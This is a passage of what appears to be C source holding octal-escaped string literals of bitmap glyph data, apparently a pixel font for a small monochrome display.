\"\\340\\300\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\377\\377\\377\\200\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\1\\3\\7\\17\\376\\374\\376\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\207\\307\\347\\367\\177\\77\\37\\0\\0\\300\\340\\360x<\\36\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\70\\70\\70\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\17\\77\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\374\\360\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\374\\360\\300\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\77\\77\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0@\\340\\360x<\\36\\17\\17\\36<x\\360\\340@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\340\\0\\0\\0\\1\\3\\7\\17\\16\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\200\\200\\300\\340\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\"\n  \"\\200\\0\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\1\\7\\7\\6\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\"\n  \"\\200\\0\\0\\0~\\377\\377\\271\\70\\70\\70\\70\\70\\70\\71\\77\\77>\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\340\\340\\340\\360\\374\\376\\356\\347\\347\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\3\\343\\347\\347\\347\\347\\347\\347w\\177\"\n  \"\\77\\17\\0\\0\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\377\"\n  \"\\377\\376\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\340\\340\\340\\347\\347\\347\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\340\\347\\347\\347\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340p\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\200\\300\\340\\340`\"\n  \" \\0\\0\\0\\377\\377\\377x<\\36\\77\\177\\363\\341\\300\\200\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\1\\3\\7\"\n  \"\\7\\6\\0\\0\\0\\0\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\300\"\n  \"\\300\\200\\0\\0\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\0\\1\\377\\377\\376\\0\\7\\7\\7\\0\\0\\0\\7\\7\\7\\0\\0\\0\"\n  \"\\7\\7\\7\\0\\340\\340\\340\\0\\200\\300\\300\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\7\\3\\1\\1\\0\\0\\0\\1\\377\"\n  \"\\377\\376\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\"\n  \"\\200\\0\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\201\\377\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\377\"\n  \"\\377\\377\\0\\0\\340\\340\\340\\0\\200\\300\\300\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\7\\3\\1\\1\\0\\0\\0\\1\\7\"\n  \"\\7\\6\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\7\\17\\17\\35\\34\\34\\34\\34\\34\\34\\270\\370\\360\\340\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\340\\340\\340\\377\\377\\377\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\377\\377\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\0\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\340\"\n  \"\\340\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\200\\200\\300\\340\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\"\n  \"\\7\\7\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\3\\17\\77\\374\\360\\300\\0\\0\\300\\360\\374\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\0\\340\\340\\340\\0\\0\\0\"\n  \"\\340\\340\\340\\0\\377\\377\\377\\200\\0\\200\\377\\377\\377\\200\\0\\200\\377\\377\\377\\0\\0\\3\\3\\7\\7\\7\\3\\1\\3\\7\\7\\7\"\n  \"\\3\\3\\0\\0\\340\\340\\340\\200\\0\\0\\0\\0\\0\\0\\200\\340\\340\\340\\0\\0\\0\\201\\303\\347\\377~<<~\\377\\347\\303\"\n  \"\\201\\0\\0\\0\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\340\"\n  \"\\340\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\3\\343\\347\\347\\347\\347\\347\\347w\\177\"\n  \"\\77\\17\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\200\\300\\340\\360x<\\36\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\17\\375\\375\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\177\\360\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\375\\375\\17\\7\\7\\0\\0\\0\\0\\0\\0\\0\\340\\340\\360\\177\\177\\37\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\200\\200\\0\\0\\300\\300\\300\\0\\0\\0\\7\\7\\7\\1\\1\\3\\3\\7\\7\\7\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\20\\70\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\377\\377\\377\\340\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340p\\177\\77\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\300\\300\\300\\0\"\n  \"\\0\\0\\0\\0\\20\\70\\77\\37\\17\\0\\20\\70\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\7\\7\\7\\0\\0\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\70\\70\\70\\377\\377\\377\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\377\\377\\377\\70\\70\\70\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\77\\77\\77\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\7\\7\\3\\1\\1\\3\\7\\7\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\177\\377\\361\\340\\361\\377\\377x<\\36\\17\"\n  \"\\7\\3\\1\\0x<\\36\\376\\377\\217\\7\\217\\376\\376\\217\\7\\217\\376\\370\\0\\0\\0\\0\\0\\3\\7\\7\\7\\3\\3\\7\\7\"\n  \"\\7\\3\\0\\0p\\374\\376\\216\\7\\7\\7\\7\\7\\7\\16><\\60\\0\\0`\\341\\343\\203\\7\\7\\7\\7\\7\\7\\216\\376\"\n  \"\\374p\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\370\\376\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\17\\4\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\374\\376\\16\\7\\377\\377\\377\\7\\7\\7\\7\\7\\7\\0\\0\\177\\377\\377\\200\\0\\377\\377\\377\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\376\\377\\7\\2\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\376\\377\\7\\2\\0\\374\\376\\377\\7\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@\\340\\377\\177\\77\\0@\\340\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\360\\370\\370\\370\\370\\370\\360\\360\\340\"\n  \"\\200\\0\\0\\0\\17\\77\\177\\177\\377\\377\\377\\377\\377\\177\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\1\\1\\3\\3\\7\\7\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\377\\377\\377\\7\\7\\377\\377\\377\\36\\36\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\300\\341\\343\\347\\347\\343\\341\\340\\340\\340\\340\\0\\0\\7\\17\\17\\35\\34\\34\\34\\34\\34\\34\\270\\370\"\n  \"\\360\\340\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\7\\377\\376\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\17\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\340\\340\\340\\300\\300\\340\\340\\340\\340\\300\\0\\0\\0\\377\\377\\377\\0\\0\\377\\377\\377\\70\\70\\70\\77\"\n  \"\\77\\77\\0\\0\\0\\3\\7\\7\\7\\7\\3\\3\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\200\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\1\\3\\7\\17\\376\\374\\376\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\347\\347\\347\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\300\\340\\374\\374\\374\\340\\300\\300\\200\\0\\0\\0\\0~\\377\\377\\201\\0\\377\\377\\377\\0\\1\\7\\7\"\n  \"\\6\\0\\0\\0\\0\\1\\3\\3\\7\\77\\77\\77\\7\\7\\7\\7\\7\\0\\0\\0\\376\\377\\377\\341\\340\\340\\340\\341\\7\\7\\6\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\200\\340\\340`\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\200\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\200\\0\\0\\0\\0\\1\\203\\377\\376\\356\\306\\356\\376\\377\\203\\1\"\n  \"\\0\\0\\0\\0\\2\\7\\3\\1\\0\\0\\0\\0\\0\\1\\3\\7\\2\\0\\0\\0\\2\\347\\357\\376\\374\\370\\360\\340\\360\\370\\374\\376\"\n  \"\\357\\347\\2\\0\\0\\70\\70\\70\\70\\70\\377\\377\\377\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\370\\371\\373\\207\\17\\36<x\\360\\340\\300\\207\"\n  \"\\7\\7\\0\\0\\300\\301\\303\\7\\17\\36<x\\360\\341\\303\\277\\77>\\0\\0\\3\\17\\37\\34\\70\\70\\70\\70\\70\\31\\37\\37\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\316\\306\\347\\347\\347\\346\\356\\16\\34|\\370\"\n  \"\\340\\0\\0\\0\\207\\237\\37\\70\\70\\70\\70\\270\\200\\300\\360\\377\\77\\7\\0\\0\\3\\3\\3\\7\\7\\7\\3\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\17\\37\\34\\70\\70\\70\\70\\70\\77\\77\\77\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\0\\0\\0\\0\\370\\376\\377\\7\\1\\0\\0\\0\\370\\376\\377\\7\\1\\0\\0\\0\\0\\3\\17\\17\\4\\0\\0\\0\\0\\3\\17\\17\"\n  \"\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\356\\356\\346\\347\\347\\307\\306\\16\\16\\34|\\370\\340\\0\\0\\0\\377\\377\\377\\70x\\377\\377\\307\\300\\300\\360\\377\"\n  \"\\77\\7\\0\\0\\1\\1\\1\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\36\\177\\377\\341\\300\\300\\300\\300\\341\\377\\177\\36\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\\7\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\10\\14\\12\\11\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\10\\10\\10\\11\\6\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\300\\300\\300\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\200\\377\\377\\377\\200\\0\\0\\0\\0\\377\\377\\377\\7\\7\\7\\7\\3\\3\\1\\3\\3\"\n  \"\\7\\7\\0\\0<\\377\\377\\303\\201\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\1\\3\\3\\377\\377\\377\\7\\7\\7\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\37\\37\\37\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0g\\367\\377\\177\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\17\\10\\10\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  